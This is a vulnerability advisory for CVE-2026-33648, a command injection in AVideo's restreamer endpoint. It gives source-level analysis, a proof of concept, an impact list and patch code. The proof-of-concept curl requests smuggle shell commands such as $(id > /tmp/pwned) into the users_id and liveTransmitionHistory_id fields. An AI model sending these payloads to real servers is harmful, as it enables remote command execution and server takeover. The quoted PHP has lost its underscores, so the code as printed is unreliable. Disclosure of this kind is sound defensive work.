CVE-2026-33648: AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path
Summary
The restreamer endpoint constructs a log file path by embedding user-controlled usersid and liveTransmitionHistoryid values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to exec(), allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as $() or backticks.
Details
The vulnerability exists in plugin/Live/standAloneFiles/restreamer.json.php. The data flow is:
1. User input ingestion (line 220): php $request = filegetcontents("php://input"); $robj = jsondecode($request);
2. Log file template (line 58): php $logFile = $logFileLocation . "ffmpegrestreamer{usersid}" . date("Y-m-d-h-i-s") . ".log";
3. usersid injected without sanitization (line 318): php $obj->logFile = strreplace('{usersid}', $robj->usersid, $logFile);
4. liveTransmitionHistoryid injected without sanitization (line 407): php $pid[] = startRestream($m3u8, [$value], strreplace(".log", "{$key}{$robj->liveTransmitionHistoryid}{$host}.log", $logFile), $robj);
Note: intval() is applied to liveTransmitionHistoryid in the separate getProcess() function (line 805), but NOT in the runRestream() path that constructs the log file.
5. Unsanitized log file path passed to exec() (lines 720, 723): php // Line 720 (remote ffmpeg path): execFFMPEGAsyncOrRemote($command . ' > ' . $logFile . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);
// Line 723 (direct execution fallback): exec($command . ' > ' . $logFile . ' 2>&1 &');
The code sanitizes stream URLs via clearCommandURL() and uses escapeshellarg() for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open.
PoC
Prerequisites: A valid AVideo account with live streaming permissions and a valid restream token.
Step 1: Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.
Step 2: Send a crafted restream request with shell metacharacters in usersid:
bash curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \ -H "Content-Type: application/json" \ -d '{ "token": "VALIDTOKEN", "m3u8": "https://example.com/stream.m3u8", "restreamsDestinations": ["rtmp://example.com/live/key"], "restreamsToken": ["VALIDTOKEN"], "usersid": "x$(id > /tmp/pwned)x", "liveTransmitionHistoryid": "1" }'
Step 3: The resulting exec call becomes: ffmpeg ... > /var/www/tmp/ffmpegrestreamerx$(id > /tmp/pwned)x2026-03-20-... .log 2>&1 &
The $() subshell executes id > /tmp/pwned before the redirection is processed.
Step 4: Verify command execution: bash curl -k "https://TARGET/tmp/pwned" Expected: output of id command showing the web server user
The same vector works through liveTransmitionHistoryid: bash curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \ -H "Content-Type: application/json" \ -d '{ "token": "VALIDTOKEN", "m3u8": "https://example.com/stream.m3u8", "restreamsDestinations": ["rtmp://example.com/live/key"], "restreamsToken": ["VALIDTOKEN"], "usersid": "1", "liveTransmitionHistoryid": "1$(whoami > /tmp/pwned2)1" }'
Impact
An authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:
- Full server compromise: Reading sensitive files (/etc/passwd, database credentials, .env files) - Data exfiltration: Accessing the AVideo database and all user data - Lateral movement: Using the compromised server as a pivot point - Service disruption: Killing processes, modifying or deleting files - Persistent backdoor: Installing web shells or cron jobs for ongoing access
The authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack.
Recommended Fix
Sanitize both usersid and liveTransmitionHistoryid immediately after input, and use escapeshellarg() on the log file path before shell execution.
In restreamer.json.php, after line 220 (input decoding), add input sanitization:
php $robj = jsondecode($request); // Sanitize fields that will be used in file paths and shell commands if (isset($robj->usersid)) { $robj->usersid = pregreplace('/[^a-zA-Z0-9-]/', '', $robj->usersid); } if (isset($robj->liveTransmitionHistoryid)) { $robj->liveTransmitionHistoryid = intval($robj->liveTransmitionHistoryid); }
At lines 720 and 723, use escapeshellarg() on the log file path:
php // Line 720: execFFMPEGAsyncOrRemote($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);
// Line 723: exec($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 &');
Both fixes should be applied — input sanitization as defense-in-depth, and escapeshellarg() as the direct mitigation at the point of shell execution.
Other sources
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the restreamer endpoint constructs a log file path by embedding user-controlled usersid and liveTransmitionHistoryid values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to exec(), allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as $() or backticks. Commit 99b865413172045fef6a98b5e9bfc7b24da11678 contains a patch.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-33648?
CVE-2026-33648 has been identified as a critical severity vulnerability due to the potential for OS command injection.
How do I fix CVE-2026-33648?
To mitigate CVE-2026-33648, update AVideo to version 26.1 or later, which addresses the command injection issue.
Which versions of AVideo are affected by CVE-2026-33648?
CVE-2026-33648 affects AVideo versions up to and including 26.0.
What type of vulnerability is CVE-2026-33648?
CVE-2026-33648 is categorized as an OS command injection vulnerability.
What components of AVideo are impacted by CVE-2026-33648?
CVE-2026-33648 impacts the restreamer endpoint, specifically through unsanitized parameters in the log file path.